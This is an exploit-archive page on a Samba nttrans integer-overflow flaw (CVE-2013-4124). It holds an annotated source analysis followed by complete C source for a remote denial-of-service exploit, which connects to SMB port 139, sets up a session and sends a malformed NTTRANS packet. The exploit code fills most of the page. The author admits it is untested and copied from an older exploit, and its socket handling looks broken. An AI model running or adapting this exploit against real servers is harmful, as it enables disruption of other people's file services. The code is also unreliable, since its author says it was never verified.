Home / exploitsPDF  

Samba nttrans Reply Integer Overflow Vulnerability

Posted on 23 August 2013

<pre>[security bug analyze] smbd/nttrans.c ---- snip ---- snip ---- snip ---- snip ---- 971 /**************************************************************************** 972 Read a list of EA names and data from an incoming data buffer. Create an ea_list with them. 973 ****************************************************************************/ 974 EA names, data from samba incoming buffer! 975 struct ea_list *read_nttrans_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size) // *pdata is inject vector 976 { 977 struct ea_list *ea_list_head = NULL; 978 size_t offset = 0; // unisigned 979 980 if (data_size &lt; 4) { 981 return NULL; 982 } 983 984 while (offset + 4 &lt;= data_size) { // XXX (3) if offset is wrap up then it enters the loop continuly 985 size_t next_offset = IVAL(pdata,offset); // unsigned XXX (1) if next_offset from pdata pointer is much large value then to lead integer wrap! // XXX (4) may memory corruption point! if offset is wrap up then second argv pointer(pdata+offset+4) pointers around zero memory then smb dos! 986 struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset + 4, data_size - offset - 4, NULL); 987 988 if (!eal) { 989 return NULL; 990 } 991 992 DLIST_ADD_END(ea_list_head, eal, struct ea_list *); 993 if (next_offset == 0) { 994 break; 995 } 996 997 /* Integer wrap protection for the increment. */ // XXX patch code 998 if (offset + next_offset &lt; offset) { 999 break; 1000 } 1001 1002 offset += next_offset; // XXX (2) if next_offset is large value then offset is wrap! 1003 1004 /* Integer wrap protection for while loop. */ // XXX patch code 1005 if (offset + 4 &lt; offset) { 1006 break; 1007 } 1008 1009 } 1010 1011 return ea_list_head; 1012 } ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 1014 /**************************************************************************** 1015 Reply to a NT_TRANSACT_CREATE call (needs to process SD's). 1016 ****************************************************************************/ 1017 1018 static void call_nt_transact_create(connection_struct *conn, 1019 struct smb_request *req, 1020 uint16 **ppsetup, uint32 setup_count, 1021 char **ppparams, uint32 parameter_count, 1022 char **ppdata, uint32 data_count, 1023 uint32 max_data_count) 1024 { ... 1148 /* We have already checked that ea_len &lt;= data_count here. */ 1149 ea_list = read_nttrans_ea_list(talloc_tos(), data + sd_len, 1150 ea_len); ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 2639 static void handle_nttrans(connection_struct *conn, 2640 struct trans_state *state, 2641 struct smb_request *req) 2642 { ... 2651 /* Now we must call the relevant NT_TRANS function */ 2652 switch(state-&gt;call) { 2653 case NT_TRANSACT_CREATE: // NT_TRANSACT_CREATE! 2654 { 2655 START_PROFILE(NT_transact_create); 2656 call_nt_transact_create( 2657 conn, req, 2658 &amp;state-&gt;setup, state-&gt;setup_count, 2659 &amp;state-&gt;param, state-&gt;total_param, 2660 &amp;state-&gt;data, state-&gt;total_data, 2661 state-&gt;max_data_return); 2662 END_PROFILE(NT_transact_create); 2663 break; 2664 } ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 2770 /**************************************************************************** 2771 Reply to a SMBNTtrans. 2772 ****************************************************************************/ 2773 2774 void reply_nttrans(struct smb_request *req) // smb_request! 2775 { ... 2945 if ((state-&gt;received_data == state-&gt;total_data) &amp;&amp; 2946 (state-&gt;received_param == state-&gt;total_param)) { 2947 handle_nttrans(conn, state, req); ---- snip ---- snip ---- snip ---- snip ---- [exploitability] * keywords: - samba incoming data - EA names - data - 0xf1000000 - SMB NTTRANS - Samba reply_nttrans() Remote Root Exploit (http://www.securiteam.com/exploits/5TP0M2AAKS.html) - SMB_COM_NT_TRANSACT(0xa0) = NTtrans (32-bit field) - SMBtrans - http://ubiqx.org/cifs/SMB.html The security bug is remote dos to a daemon, the impact is exist even though it's exploited on local network. If large local network exist and many samba on the network, security risk is exist. I assign the dos impact to medium, and the apache or wuftpd dos to high because they are can be exploited on internet /* !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! CVE-2013-4124 samba remote dos private exploit ./samba_nttrans_exploit [target ip addr] * ... test ...: I didn't test for the exploit, I copied another samba nttrans exploit in 2003 that http://www.securiteam.co m/exploits/5TP0M2AAKS.html. It should be works! the exploit send malformed nttrans smb packet with large value of data offset to cause integer wrap in the vulnerable function of read_nttrns_ea_list I left an article that analyzed it !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! x90c */ #include &lt;sys/socket.h&gt; #include &lt;netinet/in.h&gt; #include &lt;arpa/inet.h&gt; #include &lt;netdb.h&gt; #include &lt;errno.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt; #include &lt;signal.h&gt; typedef unsigned char uint8; typedef unsigned short uint16; typedef unsigned long uint32; struct variable_data_header { uint8 wordcount, bytecount[2]; }; struct nbt_session_header { uint8 type, flags, len[2]; }; struct smb_base_header { uint8 protocol[4], command, errorclass, reserved, errorcode[2]; uint8 flags; uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2]; }; struct negprot_reply_header { uint8 wordcount; uint8 dialectindex[2]; uint8 securitymode; uint16 maxmpxcount, maxvccount; uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh; uint16 timezone; uint8 keylen; uint16 bytecount; }; struct sesssetupx_request_header { uint8 wordcount, command, reserved; uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2]; uint8 sessionid[4]; uint8 ipasswdlen[2], passwdlen[2]; uint8 reserved2[4], capabilities[4]; }; struct sesssetupx_reply_header { uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2]; }; struct tconx_request_header { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2]; }; struct tconx_reply_header { uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2]; }; struct nttrans_primary_request_header { uint8 wordcount; uint8 maxsetupcount; uint8 flags[2]; uint8 totalparamcount[4]; uint8 totaldatacount[4]; uint8 maxparamcount[4]; uint8 maxdatacount[4]; uint8 paramcount[4]; uint8 paramoffset[4]; uint8 datacount[4]; uint8 dataoffset[4]; // XXXX 0xf000000 uint8 setupcount; uint8 function[2]; uint8 bytecount[2]; }; #define SMB_NEGPROT 0x72 #define SMB_SESSSETUPX 0x73 #define SMB_TCONX 0x75 #define SMB_TRANS2 0x32 #define SMB_NTTRANS 0xA0 #define SMB_NTTRANSCREATE 0x01 #define SMB_TRANS2OPEN 0x00 #define SMB_SESSIONREQ 0x81 #define SMB_SESSION 0x00 uint32 sessionid, PARAMBASE = 0x81c0000; char *tconx_servername; int tid, pid, uid; #define STACKBOTTOM 0xbfffffff #define STACKBASE 0xbfffd000 #define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE)) char *netbios_encode_name(char *name, int type) { char plainname[16], c, *encoded, *ptr; int i, len = strlen(name); if ((encoded = malloc(34)) == NULL) { fprintf(stderr, &quot;malloc() failed &quot;); exit(-1); } ptr = encoded; strncpy(plainname, name, 15); *ptr++ = 0x20; for (i = 0; i &lt; 16; i++) { if (i == 15) c = type; else { if (i &lt; len) c = toupper(plainname[i]); else c = 0x20; } *ptr++ = (((c &gt;&gt; 4) &amp; 0xf) + 0x41); *ptr++ = ((c &amp; 0xf) + 0x41); } *ptr = ''; return encoded; } void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len) { struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr; uint16 nlen; // geen idee of dit de juiste manier is, maar 't lijkt wel te werken .. if (len &gt; 65535) nlen = 65535; else nlen = htons(len); memset((void *)nbt_hdr, '', sizeof (struct nbt_session_header)); nbt_hdr-&gt;type = type; nbt_hdr-&gt;flags = flags; memcpy(&amp;nbt_hdr-&gt;len, &amp;nlen, sizeof (uint16)); } // caller zorgt voor juiste waarde van ptr. void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, uint16 uid, uint16 mid) { struct smb_base_header *base_hdr = (struct smb_base_header *)ptr; memset(base_hdr, '', sizeof (struct smb_base_header)); memcpy(base_hdr-&gt;protocol, &quot;xffSMB&quot;, 4); base_hdr-&gt;command = command; base_hdr-&gt;flags = flags; memcpy(&amp;base_hdr-&gt;flags2, &amp;flags2, sizeof (uint16)); memcpy(&amp;base_hdr-&gt;tid, &amp;tid, sizeof (uint16)); memcpy(&amp;base_hdr-&gt;pid, &amp;pid, sizeof (uint16)); memcpy(&amp;base_hdr-&gt;uid, &amp;uid, sizeof (uint16)); memcpy(base_hdr-&gt;mid, &amp;mid, sizeof (uint16)); } void construct_sesssetupx_header(char *ptr) { struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr; uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0; uint32 capabilities = 0x50; memset(sx_hdr, '', sizeof (struct sesssetupx_request_header)); sx_hdr-&gt;wordcount = 13; sx_hdr-&gt;command = 0xff; memcpy(&amp;sx_hdr-&gt;maxbufsize, &amp;maxbufsize, sizeof (uint16)); memcpy(&amp;sx_hdr-&gt;vcnumber, &amp;vcnumber, sizeof (uint16)); memcpy(&amp;sx_hdr-&gt;maxmpxcount, &amp;maxmpxcount, sizeof (uint16)); memcpy(&amp;sx_hdr-&gt;sessionid, &amp;sessionid, sizeof (uint32)); memcpy(&amp;sx_hdr-&gt;ipasswdlen, &amp;pwdlen, sizeof (uint16)); memcpy(&amp;sx_hdr-&gt;passwdlen, &amp;pwdlen, sizeof (uint16)); memcpy(&amp;sx_hdr-&gt;capabilities, &amp;capabilities, sizeof (uint32)); } /* struct tconx_request_header { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2]; -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[]; }; */ void construct_tconx_header(char *ptr) { struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr; uint16 passwdlen = 1, bytecount; char *data; memset(tx_hdr, '', sizeof (struct tconx_request_header)); bytecount = strlen(tconx_servername) + 15; if ((data = malloc(bytecount)) == NULL) { fprintf(stderr, &quot;malloc() failed, aborting! &quot;); exit(-1); } memcpy(data, &quot;x00x5cx5c&quot;, 3); memcpy(data + 3, tconx_servername, strlen(tconx_servername)); memcpy(data + 3 + strlen(tconx_servername), &quot;x5cIPCx24x00x3fx3fx3fx3fx3fx00&quot;, 12); tx_hdr-&gt;wordcount = 4; tx_hdr-&gt;xcommand = 0xff; memcpy(&amp;tx_hdr-&gt;passwdlen, &amp;passwdlen, sizeof (uint16)); memcpy(&amp;tx_hdr-&gt;bytecount, &amp;bytecount, sizeof (uint16)); memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount); } void nbt_session_request(int fd, char *clientname, char *servername) { char *cn, *sn; char packet[sizeof (struct nbt_session_header) + (34 * 2)]; construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header)); tconx_servername = servername; sn = netbios_encode_name(servername, 0x20); cn = netbios_encode_name(clientname, 0x00); memcpy(packet + sizeof (struct nbt_session_header), sn, 34); memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34); write(fd, packet, sizeof (packet)); close(fd); free(cn); free(sn); } void process_nbt_session_reply(int fd) { struct nbt_session_header nbt_hdr; char *errormsg; uint8 errorcode; int size, len = 0; if ((size = read(fd, &amp;nbt_hdr, sizeof (nbt_hdr))) == -1) { close(fd); fprintf(stderr, &quot;read() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } if (size != sizeof (nbt_hdr)) { close(fd); fprintf(stderr, &quot;read() a broken packet, aborting. &quot;); exit(-1); } memcpy(&amp;len, &amp;nbt_hdr.len, sizeof (uint16)); if (len) { read(fd, (void *)&amp;errorcode, 1); close(fd); switch (errorcode) { case 0x80 : errormsg = &quot;Not listening on called name&quot;; break; case 0x81 : errormsg = &quot;Not listening for calling name&quot;; break; case 0x82 : errormsg = &quot;Called name not present&quot;; break; case 0x83 : errormsg = &quot;Called name present, but insufficient resources&quot;; break; case 0x8f : errormsg = &quot;Unspecified error&quot;; break; default : errormsg = &quot;Unspecified error (unknown error code received!)&quot;; break; } fprintf(stderr, &quot;session request denied, reason: '%s' (code %i) &quot;, errormsg, errorcode); exit(-1); } printf(&quot;session request granted &quot;); } void negprot_request(int fd) { struct variable_data_header data; char dialects[] = &quot;x2PC NETWORK PROGRAM 1.0x0x2MICROSOFT NETWORKS 1.03x0x2MICROSOFT NETWORKS 3.0x0x2LANMAN1.0x0&quot; &quot;x2LM1.2X002x0x2Sambax0x2NT LANMAN 1.0x0x2NT LM 0.12x0x2&quot;&quot;FLATLINE'S KWAADWAAR&quot;; char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)]; int dlen = htons(sizeof (dialects)); memset(&amp;data, '', sizeof (data)); construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header)); pid = getpid(); construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1); memcpy(&amp;data.bytecount, &amp;dlen, sizeof (uint16)); memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &amp;data, sizeof (data)); memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), dialects, sizeof (dialects)); if (write(fd, packet, sizeof (packet)) == -1) { close(fd); fprintf(stderr, &quot;write() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } } void process_negprot_reply(int fd) { struct nbt_session_header *nbt_hdr; struct smb_base_header *base_hdr; struct negprot_reply_header *np_reply_hdr; char packet[1024]; int size; uint16 pid_reply; nbt_hdr = (struct nbt_session_header *)packet; base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header)); np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header))); if ((size = read(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, &quot;read() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } memcpy(&amp;pid_reply, &amp;base_hdr-&gt;pid, sizeof (uint16)); memcpy(&amp;sessionid, &amp;np_reply_hdr-&gt;sessionid, sizeof (uint32)); if (base_hdr-&gt;command != SMB_NEGPROT || np_reply_hdr-&gt;wordcount != 17 || pid_reply != pid) { close(fd); fprintf(stderr, &quot;protocol negotiation failed &quot;); exit(-1); } printf(&quot;protocol negotiation complete &quot;); } void sesssetupx_request(int fd) { uint8 data[] = &quot;x12x0x0x0x55x6ex69x78x00x53x61x6dx62x61&quot;; char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct sesssetupx_request_header) + sizeof (data)]; int size; construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header)); construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1); construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct sesssetupx_request_header), &amp;data, sizeof (data)); if ((size = write(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, &quot;write() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } if (size != sizeof (packet)) { close(fd); fprintf(stderr, &quot;couldn't write entire packet, aborting! &quot;); exit(-1); } } void process_sesssetupx_reply(int fd) { struct nbt_session_header *nbt_hdr; struct smb_base_header *base_hdr; struct sesssetupx_reply_header *sx_hdr; char packet[1024]; int size, len; if ((size = read(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, &quot;read() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } nbt_hdr = (struct nbt_session_header *)packet; base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header)); sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); memcpy(&amp;len, &amp;nbt_hdr-&gt;len, sizeof (uint16)); memcpy(&amp;uid, &amp;base_hdr-&gt;uid, sizeof (uint16)); if (sx_hdr-&gt;xcommand != 0xff &amp;&amp; sx_hdr-&gt;wordcount != 3) { close(fd); fprintf(stderr, &quot;session setup failed &quot;); exit(-1); } printf(&quot;session setup complete, got assigned uid %i &quot;, uid); } void tconx_request(int fd) { char *packet; int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15; if ((packet = malloc(pktsize)) == NULL) { close(fd); fprintf(stderr, &quot;malloc() failed, aborting! &quot;); exit(-1); } construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header)); construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1); construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); if ((size = write(fd, packet, pktsize)) == -1) { close(fd); fprintf(stderr, &quot;write() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } free(packet); if (size != pktsize) { close(fd); fprintf(stderr, &quot;couldn't write entire packet, aborting! &quot;); exit(-1); } } void process_tconx_reply(int fd) { struct nbt_session_header *nbt_hdr; struct smb_base_header *base_hdr; struct tconx_reply_header *tx_hdr; char packet[1024]; int size, bytecount; if ((size = read(fd, packet, sizeof (packet))) == -1) { close(fd); fprintf(stderr, &quot;read() failed, reason: '%s' (code %i) &quot;, strerror(errno), errno); exit(-errno); } nbt_hdr = (struct nbt_session_header *)packet; base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header)); tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)); memcpy(&amp;tid, &amp;base_hdr-&gt;tid, sizeof (uint16)); memcpy(&amp;bytecount, &amp;tx_hdr-&gt;bytecount, sizeof (uint16)); printf(&quot;tree connect complete, got assigned tid %i &quot;, tid); } void nttrans_request(int fd) { // packet = nbt session header + smb base header + nttrans header! char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (struct nttrans_primary_request_header)]; struct nttrans_primary_request_header nttrans_hdr; // nttrans header! int size=0; int function = SMB_NTTRANSCREATE; // NTTRANSCREATE! int totalparamcount = TOTALCOUNT; int totaldatacount = 0; uint8 setupcount = 0; memset(&amp;nttrans_hdr, 0, sizeof nttrans_hdr); // construct nbt session header construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header)); // construct smb base header construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS, 8, 1, tid, pid, uid, 1); // construct nttrans header nttrans_hdr.paramoffset[0] = 'x00'; nttrans_hdr.paramoffset[1] = 'x00'; nttrans_hdr.paramoffset[2] = 'x10'; nttrans_hdr.paramoffset[3] = 'xff'; nttrans_hdr.dataoffset[0] = 'x00'; // XXX data offset 0xff100000 to integer wrap nttrans_hdr.dataoffset[1] = 'x00'; // the offset exploits the security bug of CVE-2013-4124 nttrans_hdr.dataoffset[2] = 'x10'; // samba remote dos nttrans_hdr.dataoffset[3] = 'xff'; nttrans_hdr.wordcount = 19 + setupcount; memcpy(&amp;nttrans_hdr.function, &amp;function, sizeof (uint16)); memcpy(&amp;nttrans_hdr.totalparamcount, &amp;totalparamcount, sizeof (uint32)); memcpy(&amp;nttrans_hdr.totaldatacount, &amp;totaldatacount, sizeof (uint32)); memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &amp;nttrans_hdr, sizeof nttrans_hdr); // send samba packet! size = write(fd, packet, sizeof (packet)); close(fd); } static char banner[]={ &quot; ___ ___ &quot; &quot; / _ \ / _ \ &quot; &quot; __ __| (_) || | | | ___ &quot; &quot; \ \/ / \__. || | | | / __| &quot; &quot; &gt; &lt; / / | |_| || (__ &quot; &quot; /_/\_\ /_/ \___/ \___| &quot; }; int main(int argc, char *argv[]) { int fd; struct sockaddr_in s_in; char target_ip[16]; int smb_port=139; printf(&quot;%s samba nttrans reply exploit &quot;, banner); if(argc &lt; 2){ fprintf(stderr, &quot;samba nttrans reply exploit Usage: ./samba_exploit [target ip addr] &quot;); exit(-1); } strncpy(target_ip, argv[1], 16); memset(&amp;s_in, 0, sizeof (s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(smb_port); // samba port=139/tcp s_in.sin_addr.s_addr = inet_addr(target_ip); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(fd, (struct sockaddr *)&amp;s_in, sizeof (s_in)); // nbt(netbios over tcpip, nbtstat) session request nbt_session_request(fd, &quot;BOSSA&quot;, &quot;SAMBA&quot;); // adjust computer names(clientname, servername) process_nbt_session_reply(fd); // protocol negotiation negprot_request(fd); process_negprot_reply(fd); // session setup sesssetupx_request(fd); // setup request process_sesssetupx_reply(fd); // setup reply // tree connection setup tconx_request(fd); process_tconx_reply(fd); // exploit! printf(&quot;[*] nttrans reply exploit! &quot;); nttrans_request(fd); close(fd); return 0; } </pre>

 

TOP